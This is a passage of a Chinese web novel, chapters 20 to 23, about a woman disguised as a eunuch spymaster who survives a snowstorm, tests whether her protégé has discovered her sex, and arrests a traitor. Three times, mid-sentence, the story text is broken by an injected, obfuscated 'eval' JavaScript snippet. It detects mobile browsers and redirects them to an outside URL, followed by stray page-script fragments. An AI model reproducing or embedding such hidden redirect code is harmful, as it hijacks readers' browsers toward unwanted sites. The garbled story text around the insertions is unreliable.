白惜时应声低头,这才发现自己小腹上的伤口已经染红了衣衫,因为一直用力,血止不住了,滴落在雪地里。 可能是因为太过疲累,方才只顾着凭借着本能和惯性往前走,她竟然没有发现。 如果再这般用力流血下去的话……可能,连她自己都坚持不下去了。 难道还是到了,要做取舍的时候? 白惜时在风雪中独自静立了一会,衣摆猎猎作响,血珠无声滴落,在她的身前,逐渐汇聚成了小小的一滩。 盯着那滩鲜红,白惜时怔愣了一会,继而重新抬起头,面上带着自己都没意识到的愧色,“滕烈,对不起。” 这一句话,男子和她都明白是什么意思,但男子却笑了,第一次对着白惜时笑,然后摆了下头,“没有对不起……我要,谢谢你。” 谢谢你尽力了,陪我走完最后这一程。 可真的到了要告别的时刻,望着这样虚弱的滕烈,白惜时却怎么也迈不动腿,将这么一个活生生的人丢下,她还是做不到像自己想象中的那般果断决绝。 她也是人啊,她也有良心。 或许,能否在附近再找到一处躲避风雪的地方,休息一晚上再看看? 也许到时候伤口的血便会又止住了。 白惜时找着继续坚持下去的理由。 然而就在她四处张望,寻找栖身地之际,这时候,在那纷纷扬扬的黄昏中,前头隐约出现了一队刚点燃的火把,忽明忽暗,朝二人的方向移动过来。 “快走!”滕烈这时候亦也有所察觉,在后头急急催促。 不知是敌是友,白惜时神色一凛,不顾滕烈反对,费力将二人移动到一棵大树后,然后下意识挡在之前,握紧了手腕上的箭弩。 当那行人越走越近,白惜时咬紧牙关、死盯前头一动不动,随时准备聚力一击,然而直到火把的亮光照清打头之人的面容 ——元盛。 “厂督!”她听见男子一声高呼。 随后队伍里爆发了一阵惊喜的骚动,所有人都加快了步伐向他们奔来。 为什么……她好像还在跑得最快的几人中,看到了解衍? 此起彼伏的呼唤声中,白惜时此刻才浑身一松,费力积蓄起来的力量在这一瞬消散殆尽,然后,她就那么直直跪坐了下去,慢悠悠躺进了雪地之中。 她就说她命大吧,连滕烈都能跟着自己沾沾福气。 白惜时倒在一片白茫茫里,不无感慨地想。 20. 第 20 章 白惜时被人抬上了一辆马车,那个时候她还保持着清醒的意识,找人要来了伤药和干净的棉布,直到处理好自己的伤口,又独自在车内换了套干净的衣衫,她才浅浅睡了过去。 是的,她不敢沉睡,不是绝对安全的环境,她时刻警惕着女子身份被人发现,何况她此刻还有伤在身。 马车摇摇晃晃,白惜时眼皮沉沉,过了一会,她感觉到车帘被掀开了一个角,有人走了进来,伸手在她的额头上探了探,继而又走了出去。 元盛跳下马车,神色有些担忧,解衍很快跟了上来,“怎么了?” “厂督好像起了烧,这次来的急就带了些伤药,队伍里唯一会医的眼下也在指挥使那边。” “我去看看。” 解衍是会一些浅显医术的,小时候妹妹体弱,那时候养父母又相继离开,他担忧不是次次都能顺利请到医师,便跟着学了些皮毛。 叫停马夫,抬腿跨入车内,一入眼便看见那个躺在厚毯上的安静之人,厂督鲜少有这般不声不响的时候,脸色不再是刚遇见的苍白,现下泛着微红,鬓角也沁出几滴汗珠。 看来确实是起烧了。 知道他睡觉一向不喜人打扰,解衍轻手轻脚走了过去,见白惜时一只胳膊探在被外,似乎是觉得热,本想替他将手臂塞回去,恰好发现袒露在外的半截手腕,解衍没多想,顺其自然搭了上去。 起先男子神色平静,很快,两道俊朗的眉毛慢慢聚拢,像是确认般,加重了两分指尖压脉的力道。 但就是这细微的变化,毯上之人一动,眼见马上便要醒过来,解衍恍然撤回手,稳住心神,拿起旁边的一块冰帕。 很快,白惜时便睁开了眼,瞳孔聚焦在解衍身上,“你为何会在马车里?” 语气里隐隐含着防备。 解衍神色如常,将冰帕拧干,置于白惜时的额头,“元盛说厂督起烧了,弄了些雪水,让我给厂督冰敷。” 抬眼看了看头上的帕子,白惜时又垂眸,望了眼搁在被外的半只手,她睡得浅,模模糊糊中记得方才有人触碰过她的腕部。 解衍这时候露出浅笑,像是觉得新奇,“发现厂督睡觉不算老实,我便擅自做主,想替你将被子拉好,不想却搅扰了厂督休息。” 虽没有完全打消疑虑,但解衍的举动合理,那笑模样也确实让她卸下不少防备。 况且一直揪着这看些似细枝末节之事不放,也怕另外引人生疑。 因而只点点头,白惜时又重新阖上了眼,“我的身体我自己清楚,这里不需要你,出去吧。” “是。” 解衍撩起衣摆,阔步走下马车,就像是方才什么都没有发生,路过元盛还和他简要探讨了厂督眼下的病情。 “应该就是伤口重新裂开加之受寒引起的热症,一会给厂督煎些蒲公英水服下,想必就能慢慢消退下去。” “那便好。”元盛听完舒了口气,立即吩咐人去找药材煎水,又转头问道:“真的不需再去请大夫过来看看?” 联想到厂督之前受伤醉酒,似乎都是只允许孟姑姑一个人近身,解衍没有犹豫,“不用。” 直到周围人都散去,解衍独自行走在雪中,被隆冬的寒风一吹,才后知后觉在心中掀起方才被强行按下去的波澜。 厂督的脉象……有些奇怪,一般男子的脉象沉实有力,但厂督的,却偏柔和滑利,倒是与女子的脉象更吻合一些。 不过厂督自小便是内宦,肾气不足,他又从未给官宦把过脉,因此一时间倒不好界定。 可只要一想到厂督哪怕有那么一点点可能是个女子,解衍不知道为什么,内心……竟有些难以平静。 真的,有那种可能吗? — 白惜时身体底子一向不错,在床上躺了几日后便退了烧,伤口重新愈合,人也逐渐精神起来。 听闻滕烈也没有了性命之忧,只不过内伤、腿伤严重,估摸着还得恢复一阵时日。 白惜时回来后最关心的,当然还是定国公谋反之事,索性东厂消息递出的及时,前方将士均有所准备,叛军一行眼下被拦截在了裕丰关,并未如当初预想的那般长驱直入,直杀京城。 且裕丰关易守难攻,京中又急调将领和大军增援,如此一来,应该会大大削减叛党势气,然后再而衰,三而竭…… 总归眼下的危机形势暂时解除,大雪停下后,又是连续几日的晴好天气,白惜时一行于距离朝雾山几十里地的一个小镇上住下,在屋子里歇久了,越发觉得憋闷,便想要出来透透气。 挑了个太阳正好的上午,白惜时与元盛一起,没走多远,便看见前头院落里有一人衣衫单薄,大冷天的,男子长身玉立,正手持一柄长剑在空地上划出一道道银白色轨迹,动作流畅有力,剑风凌厉,兵刃所到之处,草木纷纷晃动。 这是白惜时第一次观摩解衍练剑,男子应该是一大早便来到这里,眼下一身薄衣都已经有汗透的痕迹。 “进益颇多。”解衍的成长令白惜时意外。 “他本来就有些底子,脑子又好使还勤奋,自然突飞猛进。” 元盛同样看着男子,记起在流放路上的那次碰面,言语中不由带了几分调侃,“如此日后便不必担心再被人按在地上打了。” 闻言也联想到了那日场景,白惜时笑了笑,“他怎么过来的朝雾山?” “知道了千闵的飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313902|139635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸽传书,自己跟过来的。” “嗯。” 还挺会给自己找活。 白惜时望着此刻仍在练剑的男子,英姿飒爽、俊逸卓然,实在是有些满意,如今的解衍能文能武,内敛自持,就像一件本来蒙尘的名器,在即将被丢弃之际给自己捡回来,洗洗擦擦,再加以打磨,竟比原来还要更耀眼亮堂了些。 说没有成就感,那是假的。 何况他还长得那么像一个人。 想到这,白惜时伸出手掌,隔空在眼前遮挡住了解衍的下半张脸…… 嗯,这么看来就更像了,说起来魏廷川也酷爱练武,如今又在战场上磨练了这么多年,想必更加厉害了。 白惜时就这么静静看着,正沉浸在自己的回忆里,然而不知从何时开始,解衍的剑锋突然偏了半分,继而节奏稍滞,动作也没有之前那般行云流水。 白惜时见状皱了皱眉,正想出言指点两句,不料男子却已经收敛回鞘,于原地驻足片刻,便直直往回走去。 路过白惜时、元盛的时候,他似乎本想打声招呼就离开,然而一抬头,发现白惜时目光仍一瞬不瞬停留在自己身上,解衍下意识捏紧剑柄,回看了白惜时一眼。 其实白惜时就是觉得解衍突然举止有些奇怪,盯着他想看看怎么回事,不料解衍却回给自己一个意想不到的眼神。 白惜时愣了一下,反应了半天,等解衍走远了,她才扭过头去问元盛,“他刚才是不是瞪我?” 元盛欲言又止,“……没有吧。” 羞恼的成分多一点。 “我瞧着就是瞪了。”白惜时差点给气笑了,怎么想都想不通,“胆子不小,竟然还敢瞪咱家?咱家近来是给他太多好脸色看了吗?” 元盛觉得这事可能也不怪解衍,在那打圆场,“应该就是不好意思,厂督别老盯着人家使劲看。” 闻言侧目,白惜时:“我有使劲看吗?” “嗯,还拿手比划呢。”元盛学了一下白惜时方才拿手挡住解衍半边脸的动作,“目不转睛的,差点给人看急眼了。” “……” 白惜时还是不能理解,“即便我使劲看他,那也是他的福分,他急什么眼?” 她给他指点指点功夫,提高精进一下不好吗? 元盛:“……年纪轻,定力差了些。厂督这样他紧张。” “紧张?”白惜时听完,冷哼一声,“练剑连我看都紧张,以后还如何应敌成事?枉我原先还夸他稳。” 元盛没好意思再说,其实之前也没见过厂督像今日这般,盯着一个人全神贯注地看。 何况,厂督这张脸盯着人看久了……也确实容易让人犯迷糊。 21. 第 21 章 白惜时有些怀疑解衍是不是知道了什么,他那日练剑的反应有些反常,是白惜时回去之后才意识到的。 自己以往不是没有那样看着他走过神,只是这次时间长了些,但之前解衍表现的都还算平静,这一次……总觉得怪怪的。 白惜时在身份之事上一直谨小慎微,不然也不可能活到今日。加之联想到那日车厢内醒来,身边只有解衍一人,虽他看起来毫无异色,但怀疑的种子一旦产生了,便总是会开始猜忌。 白惜时准备找个机会,试探试探解衍。 但不是现在,得等到回京。 白惜时一行落脚的小镇叫做年印镇,镇里的里正一听说到访的都是京中大官,日日就想着不要出错,生怕哪里疏忽了闹得官职不保。 近来天寒,又有贵人在此养伤,院子内的条件不好,没有地龙这些富贵人家的东西供人取暖,里正一合计,便找了两个暖床丫鬟,想要尽心尽力将人安顿妥帖。 看着两个圆脸盘的姑娘被领到自己面前,白惜时得知来意,一口回绝,“不必。” 她还没虚到连床榻都要人帮忙暖好的地步。 管事的见白惜时拒绝,忙道了句“叨扰”,点头哈腰退了出去,继而又领着两个姑娘往另外一个院子走去,看样子,是还要再给别人送去。 白惜时这会伤势已经好的差不多,不日即将启程回京,想着自来到这小镇后她与滕烈各自养伤,还没去探望过对方。眼下既然要走,总得知会一声。 何况,日后还指望着锦衣卫能够配合协作。 白惜时踏进滕烈所在的院落,没想到还挺热闹,主屋里隐隐传来人声,在外头伺候的小侍看见白惜时,连通报都没通报,看上去还挺殷勤,直接打开门将白惜时恭恭敬敬请了进去。 跨过门槛,白惜时脚步一顿,又见着了那管事的和两个圆脸盘姑娘,原来是他那里没收,又改送到滕烈这边来了。 白惜时走进来,几人的目光便不约而同都朝她投了过来。 此刻才后知后觉,白惜时望了一眼床上的滕烈,“我是不是来错时候了?” 滕烈:“出去。” 这一声倒不是对着白惜时说的,而是对那个领着姑娘的管事。 管事连触了两次霉头,脸色有点难堪,连带着后头两个姑娘也唯唯诺诺,但依然没克制住,临走前依依不舍地望了滕烈好几眼。 白惜时没事的时候也喜欢看热闹,见姑娘明显有想留下来的意思,在旁鼓动,“挺喜庆乖巧的,指挥使再考虑考虑。” 反正以滕烈现在的身体素质,就是纯字面意义的暖床,不暖床,多个女子照料伤病也比这一院子的男子细心。 白惜时觉得自己实在善解人意。 可惜滕烈压根没接话茬,就这么无言地看着白惜时。 白惜时讨了个没趣,待人走后兀自绕到一边,在距滕烈还有些距离的桌边坐了下来。 滕烈本是平躺在床上,此时见白惜时坐定,便改为两肘支撑,上半身用力,眼看着就要坐起来。 “咱家说两句话就走,指挥使不必这般费劲。”白惜时出言阻止,又伸手虚了指他眼下的情状,“瞧着还挺虚的。” 不知是“虚”还是“费劲”激起了滕烈的男性自尊,白惜时不说还好,一说男子脸色发黑,更是执意坐起,也不许人帮忙,就在她眼皮子底下一点一点挪靠坐在了床头。 白惜时:“……” 真是,一生要强的锦衣卫。 白惜时眼下便只想赶紧说完跑路,别一会给人坐出个好歹来。 “我来就是告诉指挥使,咱家的伤已经大好了,不日便会启程回京。今日便是与指挥使辞行。” “嗯。” 滕烈的反应冷淡,一点也没看出对待救命恩人的热情。 白惜时内心吐槽,面上却维持着厂督做派,“那便不打扰指挥使休养了。” “指挥使,京城再会。” 言罢起身,白惜时没做久留,撩起衣摆便走出门外,合作的事情还是等他大好了再谈,眼下提及,倒是觉得功利性太强。 待那小侍将白惜时送走,匆匆回屋的时候,见到滕烈仍维持着方才的动作靠坐于床头,视线虚停于桌边一处,不知在想些什么。 “指挥使,厂督已经回去了。”小侍低声禀报。 闻言收回视线,男子“嗯”了一声,在小侍的帮助下,重新躺回了床榻之上。 — 白惜时此次回京,还有一样紧急的事情要办,那便是捉住内鬼,查明究竟是谁与定国公里应外合,泄露机密。 眼下战事胶着,定国公毕竟是身经百战的老将,阵前临危不惧,但叛军起先准备突袭,辎重不多,不久便出现了粮草吃紧的状况。 也就是说,只要拖,也能慢慢将叛军拖垮。 匆忙回程,一到京师,白惜时便下马往宫中行去。 眼下种种迹象,都将内鬼的矛头指向了御马监。 千闵来报,自定国公谋反以来,御马监异动颇多,加之之前行刺白惜时,应亦是不想叫她查出端倪。 而之前秘密捉捕汪魁,在抓捕前两日,千闵也查到御马监王焕全曾请禁军副总领俞昂喝了一场酒,那次俞昂喝得烂醉如泥,被人抬了回去。 俞昂,是知道汪魁抓捕行动的。 也就是说,王焕全很有可能就是利用那场酒,套出了几日后预备抓捕汪魁之事,并将之再转告给冉回人。 白惜时于午后独自进宫,待与皇帝禀报完一应事宜,再从殿内走出,天已经完全黑了下来。 但她没有急于回府,又趁着夜幕,去了两处地方。 乌云遮月,隐隐又有风雨之象,白惜时确认完最后一处细节,才有功夫抬头仰望了眼黑压压的夜空。 明日,该是注定不会太平。 回到府中的时候已是后半夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13345358|139635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,门房披着外衣替白惜时开了门,悄无声息的府宅内此刻亮着一盏烛火,灯笼下一个颀长的身影立于影壁墙前,在青石板地上拉出一道模糊的暗影。 木门开阖的声音似乎惊动了男子,一侧首,他便看见一张仿佛让月华星辰都失去颜色的面容朝自己这边缓缓走来。 黑夜敛去了她的锋芒,烛火又为她披上了一层朦胧的外衣。 只是此刻这张脸上却带着些费解,在解衍面前站定,“怎么在这里,还未休息?” 解衍:“值夜。” “?” “管事已将我调成护院。” “……” 想起当初让他学功夫,确实是打着让他做护院的旗号,白惜时难得有些无言。 “明日我便命人给你免了,你如今为东厂做事,总不能两头兼顾,回去吧。” 然而解衍听完,仍立在原地未动。 白惜时蹙眉,看着他。 解衍见白惜时这样,反倒笑了起来,“总归今夜也睡不着,便值完这一夜吧,免得再将他人从睡梦中叫醒。” 今日,他在解家的养母竟辗转托人找到他,言下之意,是她现在于夫家过得并不好,也没有子嗣傍身,因而想要暗中扶持解衍,作为自己日后的倚靠。 果然,天下熙熙,皆为利来;天下攘攘,皆为利往。 思及此,解衍缓缓叹了口气。 睡不着? 白惜时的重点却放在他最前头那句,加之这没来由的一叹,“年纪轻轻,不要思虑过重。” 以为深夜寂寥,解衍又在为曾经的落差神伤,说着说着,白惜时看了眼西北方向,话题不知怎么又带到了另一个人身上。 “我认识一个人,和你很像,当初也是受家族牵连被拉去充军,如今亦靠着自己一步步稳扎稳打,重新回到朝堂争得一席之地。” “所以说,切勿心急,徐徐图之,你亦可为。” 白惜时本意是鼓励鼓励解衍,没想到,解衍却问了她另外一个问题。 “厂督说的那人是谁?” 白惜时言语一顿,轻轻摇了摇头,“你不认识。” “厂督不说,怎知我不认识?” 其实解衍不是一个好奇之人,白惜时的那句“不认识”显然是不想再继续这个话题,但诡使神差的,解衍还是追问了一句。 因为他发觉白惜时在说到那人的时候,冷淡的眸子里盛着光华,连摇头的幅度都变得轻软,不知是不是昏黄的烛火作祟,竟显得与平日里判若两人,很……温柔。 解衍想知道答案。 但是白惜时没有很快作答,亦没有拒绝。 仿佛连说出那几个字都能将心脏填满,借着夜幕的遮掩,小心翼翼舒出那口隐藏在心中多年的缱绻。 就在解衍以为她不会回答的时候,白惜时的声音伴着夜风飘了过来。 ——“镇北将军,魏廷川。” 22. 第 22 章 离京许久,次日,白惜时按时早起,在朝臣们上朝时的空档,去了趟司礼监。 白惜时去的早,不过显然有人比他更早,待到进门,此时御马监王焕全、西厂袁庆均已到达,二人正同坐在一侧相谈甚欢。 宫中有头有脸的太监当中,王焕全与袁庆私交甚密,因而也隐隐形成了秉笔梁年、东厂白惜时、西厂御马监三方相争的局面。 其中梁年处事圆滑资历最深,白惜时与皇帝、掌印交情匪浅,而实力稍弱的西厂和御马监则选择抱团。 本来三方的争斗还没有摆在台面上,但近来随着掌印身体每况愈下,以及白惜时的锋芒毕漏,其他两方也均有些坐不住了。 此刻发现白惜时走近,二人目光均投了过去,西厂袁庆背靠椅凳,语含讥讽,“白公公怎的这就回来了?用不着你在前线身先士卒、指挥作战了?” “这场战事还没赢,白公公就这么迫不及待回来邀功,怕是不好吧?” 白惜时此刻走至另一侧坦然坐下,闻言并不急于回应,端起手边的茶盏啜了一口,不紧不慢望向对面,一颔首,神色颇为无奈。 “没办法,咱家是个急性子。” 没想到这人混不吝,嘲讽的话竟悉数应承下来,一口气被他堵在胸口,袁庆上也不是下也不是。 王焕全冷笑帮腔,“白公公,听一句劝,东厂插手过多,闹不好可容易引火烧身。” 白惜时这回倒是挺好说话,搁下茶盏,“多谢王公公赐教。” 继而话锋一转,意有所指,“不过我这人睚眦必报,若是有人攻我以火,也要当心自身难保。” 王焕全当然听出来他是暗讽刺杀之事,听完险些气跳起来,“呵,竖子猖狂!” 几人明枪暗箭几个来回,片刻之后,秉笔梁年亦姗姗来迟,见到白惜时上首还留了一个位置,神色倨傲,一步步越过众人坐了上去。 梁年人虽圆滑,但这些圆滑显然都用在了皇帝、宠妃和朝臣身上,对于掌印之外的内宦,他从来不放在眼里。 西厂、御马监不喜欢白惜时,但显然也不喜欢梁年,四个相看生厌之人聚在一起,一时间谁都没再起话茬,只各自等着掌印前来。 不知掌印有何要事,非要将人一大早都叫齐了过来。 然而等了半柱香的时间仍未见人,王焕全最先坐不住,使唤看茶倒水的小太监。 “咱们可都有要事在身,这都等了多少时辰,赶紧再进去通传一声,掌印若是没事咱家可就先走了。” 小太监喏喏应是,然而再出来的时候,仍未见掌印,只端了四盘柑橘分别放置几位公公的茶盏旁。 “掌印今日身体不适,还需几位公公稍待片刻,这是掌印前些时日得的圣上御赐柑橘,特让奴才拿予各位公公分食。” 西厂袁庆:“咱们过来是办正事的,哪有功夫陪他老人家吃橘子!” 梁年冷笑一声,王焕全亦布满焦躁,此刻谁都没心思去碰那橘子。四人中,唯有白惜时饶有兴致,侧身从那盘子里挑了个最大的,继而慢条斯理剥了起来。 手指上不可避免沾染了些汁水,白惜时也不在意,将一片橘瓣撕开送入口中,“嗯,不错。” 这一声感叹在不耐烦的几人中显得突兀,但眼下谁都没顾得上注意,因为更突兀的,是司礼监外头隐隐传来整齐划一的脚步声。 “什么声音?”王焕全浑身警惕,第一个站了起来。 袁庆:“出去看看。” 四人之中,已去其二,而梁年此刻虽未跟出,亦双眉紧皱,从椅凳之前站了起来。 乌云蔽日,阴风阵阵。 当司礼监的红漆木门被人从内推开,寒风卷袭着风沙率先闯了进来,叫人有些睁不开眼。 看样子又有一场新的暴风雪要造访,待王焕全、袁庆眯眼看清,一群手持兵器的禁军已赫然出现在众人面前,严阵以待、煞气冲天。 俞昂与元盛领头,一见门户洞开,二话不说,带兵持刃上前便将王焕全团团围住。 王焕全大惊失色,“掌印这是什么意思?” 继而反应过来,陡然回头瞪向此刻仍稳坐椅凳之人,“白惜时,你们故意将我骗过来,联合起来设计我?!” 直到此刻才缓然起身,接过小太监递过来的手巾,白惜时细细擦掉手指沾上的汁水,“王公公在行差踏错第一步之时,便早该想到今日这般结局。” 继而敛去散漫的神色,白惜举步跨出屋舍,立足阶前、睥睨而下,“御马监掌印太监王焕全,通敌叛国、欲危宗社,我等奉天子之命,特来捉拿叛党奸细。” 将手巾随手掷回盘中,在梁年、袁庆的震惊中,白惜时正容寒音,微一抬手,“王公公,请吧!” — 御马监王焕全顺利获捕,最紧要的事情解决,白惜时的心神便随之一松。 这一放松,她就又记起了另外一件事,试探解衍。 因着上次在年印镇那两个暖床丫头给她的启发,这日夜里回府之后,白惜时便有意无意提及床榻寒凉。 彭管事:“那我让下人再将地龙烧旺一些。” 白惜时听上去不甚满意,“如此又太热,容易上火。” “那便叫人再让去给厂督加两床褥子。” 白惜时:“太重。” 彭管事猜不透厂督的心思,不知如何是好,只好去看一旁最了解厂督的孟姑姑。 然孟姑姑却只但笑不语,丝毫没有要接话的意思,厂督这模样一看就是自有安排。 果然,片刻之后,白惜时问了一句,“近来怎么不见解姑娘?” 这么一说,彭管事哪还能有什么不明白的?大腿一拍,当即就将解柔云给叫了过来。 厂督这是想念体己人了! 解柔云得知消息后一路小跑,进了白惜时的屋子之后还是一脸的慌乱意外,兄长不是说厂督日后不会再召见她了吗? 谨小慎微走至白惜时面前,解柔云伏了伏身,然后颤动着一双大眼睛小心翼翼将白惜时望着,继而又偷偷瞄了眼门外。 很显然,她是在盼望着有人来救场。 巧了,白惜时等的也正是此人。 装作什么都没发现,白惜时微张双臂,冲解柔云扬了扬下巴,“伺候咱家宽衣就寝吧。” 只是外袍,白惜时倒不怕她能从中发现端倪。 “是。” 解柔云走过来,伸手去帮白惜时宽衣,可一靠近,白惜时才发现她嘴唇周围多了一圈白绒绒的东西。 垂目, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13364334|139635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹙眉,白惜时虚点了下那东西的位置,“嘴巴上什么?” 闻言收回手往唇上一抹,解柔云这才后知后觉,她刚才慌里慌张跑过来竟忘记擦嘴了。 “……龙须酥。” 解柔云一边小声作答,一边开始手忙脚乱扒拉掉沾在嘴唇四周的粉末。 可她一拍,那粉末便飞舞的到处都是,白惜时被激的闭了闭眼,闪身向后避开。 解柔云诚惶诚恐,见此情状又不拍嘴了,改为去拍白惜时被沾染的衣衫,“厂督,对不起对不起。” 这解柔云,还真是…… 白惜时看了看衣衫上沾染的白色手指印,脑仁发疼,她和解衍真能是亲兄妹? 正迟疑该不该发火做做样子,这时候一个藏蓝色的身影终于不负众望,出现在了门口。 白惜时和解柔云似乎都松了口气。 显然已将刚才那一幕也看在了眼中,解衍低头行礼,阔步走了进来:“厂督,柔云不懂事,还是由属下代劳吧。” “你来?” 帮自己宽衣? 白惜时没顾上拒绝,说出试探解衍的句子,“可以。但柔云也别走,正好可替咱家暖床。” 解衍脸色一变,“厂督!” 白惜时冷眼观察着解衍,等的就是他当下的第一反应,若是已知自己是女子,他必会稍有松懈,不会像此刻这般紧张防备,这么看来,解衍应当还是不知道的。 看来,真的是自己多虑了? 心下稍稍松快了些,白惜时开始圆前头的话,“你莫紧张,咱家自然记得应你之事,只是近来身体尚未大好,时常觉冷,便让柔云替我单单暖床,她走了,咱家再上塌。” 如此解释,于白惜时,实在算得上是心平气和。 但解衍听完,仍然抗拒,甚至还向前一步,站在了解柔云之前。 白惜时故作不悦,嘲讽一句,“怎么,难不成这事你也想代劳吗?” 她的本意,是想阴阳怪气将人撵走。 但解衍听完,显然是将她说的话当了真,抗拒的神情倏然出现了一丝晃动,继而错愕、惊异、迟疑、羞愤等情绪在他眼中轮番上演,走马灯似的轮换。 白惜时起先看得还挺乐呵,然而到后来又陆续发展为思考、动摇、妥协……才直觉不对。 这时候只见解衍像是经历了一番深思熟虑,最后复杂颔首,深沉道:“行。” 接着像是劝服自己,又补充了一句,“以厂督的身体为要。” 厂督就寝前,他便离开。 白惜时眯了眯眼,“行什么?” 解衍:“……我行。” “你行什么行?” 解衍这次没有直面回答,但眼神坚毅,越过白惜时又望了后头的床榻一眼。 什么意思,不言而喻。 白惜时差点气笑了,暖个床,他当他上战场呢,搁这给她演了一番英勇就义的心路历程。 再说,她让他“就义”了吗? 还真挺会想好事的! 上前一步,白惜时慢悠悠抬眼,盯着近在咫尺的男子,“但我觉得你不行。” 说罢推开解衍,她转而走了出去,声音难得透出几分无语,“给我换个火力旺的丫头过来,现在就去!” 23. 第 23 章 王焕全被捕的第二日,于狱内撞墙自尽。 白惜时得知后第一时间赶往狱中,看着白布下一张血肉模糊的脸,闭了闭眼。 死了,便代表罪名已定,查无可查。 而昨日,她吩咐的分明是将王焕全手脚捆绑,确保其不能做出任何自伤之举,但只过了一天,他仍旧变成了一具尸体躺在这里。 看守他的东厂侍卫似是自知犯下大错,亦在白惜时赶到之前挥刀自刎。 整个事件经过均有多名目击者在场,好像确实就是一时疏忽,叫王焕全钻了空。 但,真是这么巧的事吗? 还是,王焕全必须死,以免再供出他人? 白惜时不得而知,但她并不准备就此放过,出了狱牢后唤来千闵,白惜时命他秘密去查自刎侍卫的情况。 — 那日捉拿王焕全,白惜时之所以会与禁军合作,并不是东厂能力不足,而是她听了掌印张茂林的劝,卖给了俞贵妃一个面子。 如此功劳分了一份给俞昂,俞贵妃自然也会念着她的好。 果不其然,几日后白惜时再次进宫,待从殿内走出,这时候便被一个贵妃身边得脸的小太监叫住,说是娘娘有请。 容华宫内,雕梁画栋、花团锦簇,琉璃黄瓦铺满屋顶,殿内奇珍异宝无数,白惜时想,皇帝该是将最好的东西都送到了这里来。 俞姐姐如今,当真是宠冠六宫。 默默扬了扬唇,白惜时跨过门槛,向正前方端坐的华装宫人行礼。 “奴才给贵妃娘娘请安,贵妃娘娘万福金安。” “免礼了。” 俞贵妃望着面前挺拔阴柔的年轻内宦,眼中难得带了几分责怪,“小石头,是不是如今本宫不去请你,你便不知道要来看我了?” 白惜时连忙认错,“实在是事务繁忙,力所不逮,还请娘娘赎罪。” “行了,在我面前你就不要说那些场面话了。” 俞贵妃挥退宫人,又冲白惜时招了招手,将她唤到身边。 起先是问了几句白惜时的近况,又与他闲聊了些吃穿日常,最后,俞贵妃还是将话题绕到了今日的重点之上。 “小石头,你与俞昂一个是本宫的亲弟弟,一个本宫看着长大的,如今又都替圣上办事,便记得得要互相扶持帮忙,听到没有?” 果然是要说这个啊…… 白惜时没什么意外,面上带笑,垂首应“是”。 俞贵妃纤长的手指交叠在一起,“小昂原先是胡闹了些,缺乏管束,但如今有了官职在身,也在一点一点转变。我知你周全细心,所以他若是有什么错漏之处,你便替他多遮掩填补,再告诉本宫。” 白惜时:“娘娘言重了。” 这是想将她,和俞昂捆绑在一起…… 可俞昂此人,白惜时其实并不想多沾,但人在宦海,很多时候又确实不能随心所欲。 何况,这人总归是俞姐姐的弟弟。 最后,不管心中愿不愿意,白惜时还是应承了下来。 自那日从宫中回去后,俞昂应是受了贵妃的提点,三不五时便开始邀请白惜时出去吃饭喝酒。白惜时均以忙碌为由推脱了过去。 直到一个多月后,白惜时得了两日休沐,实在拒无可拒,才勉强答应下来。 再不去,便是不给贵妃娘娘面子了。 俞昂得知白惜时应邀很高兴,当即张罗起来说是定要寻个好去处,还直言会再邀几位同僚,到时也好一起把酒言欢。 白惜时对俞昂会请谁并不在意,她向来不喜酒场,不过都是应付,谁来亦没什么区别。 不过为了防备俞昂所谓的饮酒,白惜时想了想,还是叫上了解衍一起。 “会喝酒吗?”去程的马车上,白惜时问他。 “会。” “酒量如何?” “足够替厂督挡酒。”解衍似是明白她的意图,停了一会,又道:“厂督伤势方愈,一会还是不要饮酒为妙。” 她本来就没准备喝酒。 不过白惜时听到这还是忍不住多看了解衍两眼,这人近来颇有觉悟,本来她想说的话现下都免了。 淡淡的“嗯”了一声,白惜时便没再言语。 马车平稳行驶,待到达酒楼的时候,已然华灯满堂,不得不承认俞昂是个很会享受之人,地方挑的确实不错,酒楼傍水而建亦有歌舞相伴,倒比她之前预估的那些地方雅致多了。 说明来意,被店家恭恭敬敬请至二楼最大的雅室,白惜时进门后,绕过一扇锦绣屏风,便见室内此刻已经坐了几人,其中一个俞昂,一个冯有程,白惜时是略微熟悉的。 这些俞昂宴请的宾客,除了白惜时,似乎也都认识解衍,只不过看见解衍与白惜时同来,还是忍不住多看了几眼。 解衍神色坦然,接受众人观瞻,雅室内烧了地龙,他熟练地接过白惜时脱下的大氅,走至一边挂了起来。 探花郎与厂督这默契,不像是一朝一夕形成的。 众人见状神色各异,但很默契的,都没有再说什么。 